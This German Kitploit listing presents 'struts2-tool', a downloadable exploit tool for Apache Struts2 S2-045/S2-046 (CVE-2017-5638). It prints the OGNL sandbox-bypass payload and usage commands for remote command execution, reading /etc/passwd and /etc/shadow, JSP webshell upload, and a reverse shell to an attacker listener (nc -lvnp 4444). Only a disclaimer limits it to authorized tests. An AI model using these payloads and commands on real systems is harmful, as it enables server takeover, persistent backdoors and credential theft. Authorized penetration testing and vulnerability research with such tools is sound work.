Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
struts2-tool — Struts2 S2-045/S2-046 CVE-2017-5638 Erkennungs- und Exploitation-Tool | Kitploit
Tools/GitHubGitHub/gu-007/struts2-tool
SchwachstellenscannerExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsCommand and ControlRemote-Access-ToolPayload-Entwicklung
GitHubgu-007/struts2-tool

struts2-tool

Struts2 S2-045/S2-046 CVE-2017-5638 Erkennungs- und Exploitation-Tool

Repository anzeigen
113vor 21 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Struts2-Schwachstellenerkennungs- und Ausnutzungstool (s2tool)

Ein reines Java-Tool zur Erkennung und Ausnutzung der Struts2-Schwachstellen S2-045 / S2-046 (CVE-2017-5638). Das Erkennungsmodul deckt die beiden Schwachstellen S2-045 / S2-046 ab, das Ausnutzungsmodul bietet Funktionen wie Befehlsausführung, Dateiverwaltung, Informationsabruf, interaktive Shell, Reverse Shell und Webshell-Upload.

Haftungsausschluss: Dieses Tool dient ausschließlich autorisierten Sicherheitstests, Schwachstellenforschung und Lehrzwecken. Die unbefugte Nutzung für illegale Zwecke ist strengstens untersagt. Der Nutzer trägt die alleinige rechtliche Verantwortung.


Funktionsübersicht

Tool herunterladen
ModulUnterbefehlBeschreibung
SchwachstellenerkennungscanErkennt S2-045 / S2-046 (mathematische Verifizierung + UUID-Fingerprint-Markierung)
Batch-ScanbatchBatch-Erkennung mehrerer Ziele, Ausgabe von Zusammenfassung und JSON-Bericht
BefehlsausführungexecBeliebige Systembefehle ausführen + Ausgabe (automatische Anpassung an Win/Linux)
Interaktive ShellshellKontinuierliche Interaktion, cd-Verzeichnispersistenz, pwd/webroot/os-eingebaute Befehle
Datei-UploaduploadOGNL-Direktschreiben (kleine Dateien) / Befehlsweises Schreiben in Segmenten (große Dateien)
Datei-DownloaddownloadBase64-kodierter Download (binärsicher)
Web-Root-VerzeichnisgetpathErmittelt den physischen Bereitstellungspfad der Web-Anwendung
SysteminformationensysinfoOS / Benutzer / Kernel / Arbeitsverzeichnis-Informationen
Reverse ShellrevshellEin-Klick-Reverse-Shell für bash / PowerShell Shell
Webshell-UploadwebshellGeneriert und lädt JSP-Webshell hoch (Klartext-?CMD=-Stil)
Berichtsexportscan -rJSON / HTML-Bericht

Die Download-Funktion kann beliebige Dateien auf dem Server lesen (z. B. /etc/shadow). Bitte nur in autorisierten Tests verwenden.


Schnellstart

Umgebungsanforderungen

  • JDK 8 oder höher
  • Maven 3.x (nur für den Build erforderlich, für den Betrieb des Tools ist keine Maven-Installation nötig)

Build (Windows)

root@kitploit:~
:: Im Projektverzeichnis ausführen
.\build.bat

In PowerShell muss das Präfix .\ verwendet werden; in cmd kann direkt build.bat ausgeführt werden. build.bat dient nur dem Build und sendet keine Netzwerkanfragen oder führt Scans durch. Nach Abschluss des Builds bleibt das Fenster geöffnet und wechselt in eine cmd-Sitzung (Tool-Befehle können direkt ausgeführt werden, mit exit wird geschlossen). Falls Ihre Umgebung nicht in das Standard-Maven-Repository schreiben kann, setzen Sie zuerst die Umgebungsvariable M2_REPO auf ein beschreibbares Verzeichnis.

Ausgabe: target\s2tool.jar (Fat-Jar).

Für Linux/Mac siehe build.sh

Verwendungsbeispiele

root@kitploit:~
# 1. Schwachstellenerkennung
java -jar s2tool.jar scan http://target/action

# 2. Erkennung + Export als JSON/HTML-Bericht
java -jar s2tool.jar scan http://target/action -r both

# 3. Befehlsausführung
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"

# 4. Interaktive Shell
java -jar s2tool.jar shell http://target/action

# 5. Web-Root-Verzeichnis / Systeminformationen abrufen
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action

# 6. Dateien hochladen / herunterladen
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt

# 7. Webshell mit einem Klick hochladen (Klartext-?CMD=-Stil)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# Zugriff: http://target/shell.jsp?CMD=whoami

# 8. Reverse Shell (Angreifer-Maschine zuerst lauschen lassen: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444

# 9. Batch-Scan
java -jar s2tool.jar batch targets.txt -r json

Format der Batch-Zieldatei

root@kitploit:~
# Kommentarzeilen beginnen mit # (werden automatisch ignoriert)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action

Technische Grundlagen

S2-045 / S2-046 (CVE-2017-5638)

Offiziell angekündigter Versionsbereich (beide Schwachstellen basieren auf den offiziellen Ankündigungen von Apache, zur Bewertung, ob das Ziel betroffen ist):

SchwachstelleCVEBetroffene Versionen (anfällige Versionen)Behobene Versionen (gepatchte Versionen)
S2-045CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 oder 2.5.10.1 und höher
S2-046CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 oder 2.5.10.1 und höher

Dieses Tool verlässt sich nicht auf die Versionsnummer, sondern ermittelt das Vorhandensein der Schwachstelle direkt über Payload-Testergebnisse, da die Versionserkennung unzuverlässig ist (viele Websites verbergen ihre Versionsnummer). Die obige Tabelle dient nur Ihrer manuellen Bewertung und beeinflusst nicht die Erkennungslogik des Tools.

Für S2-046 unterstützt das Tool sowohl die Null-Byte-Injektion im filename als auch den Content-Type-Erkennungspfad mit derselben Ursache.

Schwachstellenprinzip:

  • Gleicher Auslösepunkt: Wenn der Jakarta-Multipart-Parser einen Fehler wirft, wird der vom Benutzer kontrollierbare Request-Header-Inhalt (S2-045: Content-Type; S2-046: filename in Content-Disposition) in die Fehlermeldung eingefügt. Die Fehlermeldung wird über den Struts2-Internationalisierungstextverarbeitungsprozess (TextParseUtil.translateVariables) per OGNL ausgewertet
  • Unterschiedliche Ausnutzungsweise: S2-045 wird über einen ungültigen Content-Type ausgelöst; S2-046 über ein Null-Byte im filename (erfordert commons-fileupload 1.3.3+) oder eine übermäßig große Content-Length (erfordert jakarta-stream-Konfiguration)

Sandbox-Umgehung

root@kitploit:~
(#nike='multipart/form-data')                       // Content-Type vortäuschen, um die contains-Prüfung zu bestehen
(#[email protected]@DEFAULT_MEMBER_ACCESS)       // Höchste MemberAccess-Berechtigung abrufen
(#_memberAccess?(#_memberAccess=#dm):               // Niedrige Version: direkt ersetzen
  ((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
   (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
   (#ognlUtil.getExcludedPackageNames().clear())     // Paketnamen-Blacklist leeren
   (#ognlUtil.getExcludedClasses().clear())          // Klassen-Blacklist leeren
   (#context.setMemberAccess(#dm))))                 // Hohe Version: nach dem Leeren der Blacklist ersetzen

Praxistest: Auf Struts2 2.3.30 kann die reduzierte Version (nur setMemberAccess) die Sandbox nicht umgehen, die vollständige Version (mit dem OgnlUtil-Pfad zum Leeren der Blacklist) ist erforderlich.

Erkennungsstrategie

TechnikPrinzipBeschreibung
Mathematische VerifizierungOGNL führt 88888888-23333+1222 aus, Antwort enthält 88866777 → vorhandenÖffentlicher POC-Ausdruck
UUID-Fingerprint-MarkierungZufällige UUID injizieren und im Antworttext zurückspiegelnHohe Präzision, unbeeinflusst von Netzwerklatenz
VerzögerungserkennungThread.sleep(6000) Zeitdifferenz (nur S2-045 als Fallback ohne Ausgabe)Schwellenwert >3.6s

Bewertungsregel: Mathematische Verifizierung oder Fingerprint-Markierung trifft zu → als vorhanden bestätigt; nur Verzögerung trifft zu → als vermutlich vorhanden; keine trifft zu → nicht vorhanden.


Projektstruktur

root@kitploit:~
struts2-vuln-tool/
├── pom.xml                        # Maven-Build (Shade-Packaging als Fat-Jar)
├── build.bat / build.sh           # Build-Skripte (Windows verifiziert / Linux Referenz)
├── src/main/java/com/s2tool/
│   ├── Launcher.java              # Haupt-Einstiegspunkt (Picocli CLI)
│   ├── core/                      # Kern-Engine: HTTP-Client / Payload-Konstruktion / Antwortanalyse / Ziel-Parsing
│   ├── plugins/                   # Schwachstellen-Plugin-Architektur (Erweiterungspunkte)
│   │   └── impl/                  #   S2_045 / S2_046 Erkennungs-Plugins
│   ├── modules/                   # Funktionsmodule: Erkennungs-Scheduling / Fingerprint-Erkennung / Befehlsausführung / Dateiverwaltung / Shell usw.
│   ├── report/                    # Berichtsgenerierung (Konsole / JSON / HTML)
│   └── utils/                     # Logging-Werkzeuge
├── src/main/resources/            # Logging-Konfiguration / Payload-Referenz
└── src/test/                      # JUnit-Unit-Tests

Referenzen

Artikel zu Schwachstellenprinzip und Technik:

  • Apache Struts S2-045 Offizielle Ankündigung (CVE-2017-5638)
  • S2-045 OGNL-Injektion und Analyse der dreifachen Sandbox-Umgehung (Tencent Cloud Developer Community)(Payload-Referenz)
  • S2-046 Schwachstellenprinzip-Analyse (Anquanke)

Referenzierte Open-Source-Projekte (Die folgenden Repositories wurden bei der Entwicklung dieses Projekts als Ideen- und Payload-Quelle herangezogen):

  • Flyteas/Struts2-045-Exp —— Befehlsausführung / Web-Root-Verzeichnis abrufen / JSP-Dateischreib-Payload-Vorlagen
  • Z-0ne/ScanS2-045-Nmap —— Batch-Erkennungsansatz, Methode zur Markierung von Antwortmerkmalen
  • abc123info/Struts2VulsScanTools —— Gesamtdesign-Ansatz für Multi-Schwachstellen-Erkennungstools (Trennung von Erkennung und Ausnutzung)

Lizenz

Nur für autorisierte Sicherheitstests sowie Lern- und Forschungszwecke.

Die unbefugte Nutzung für illegale Zwecke ist strengstens untersagt. Der Nutzer trägt die alleinige rechtliche Verantwortung.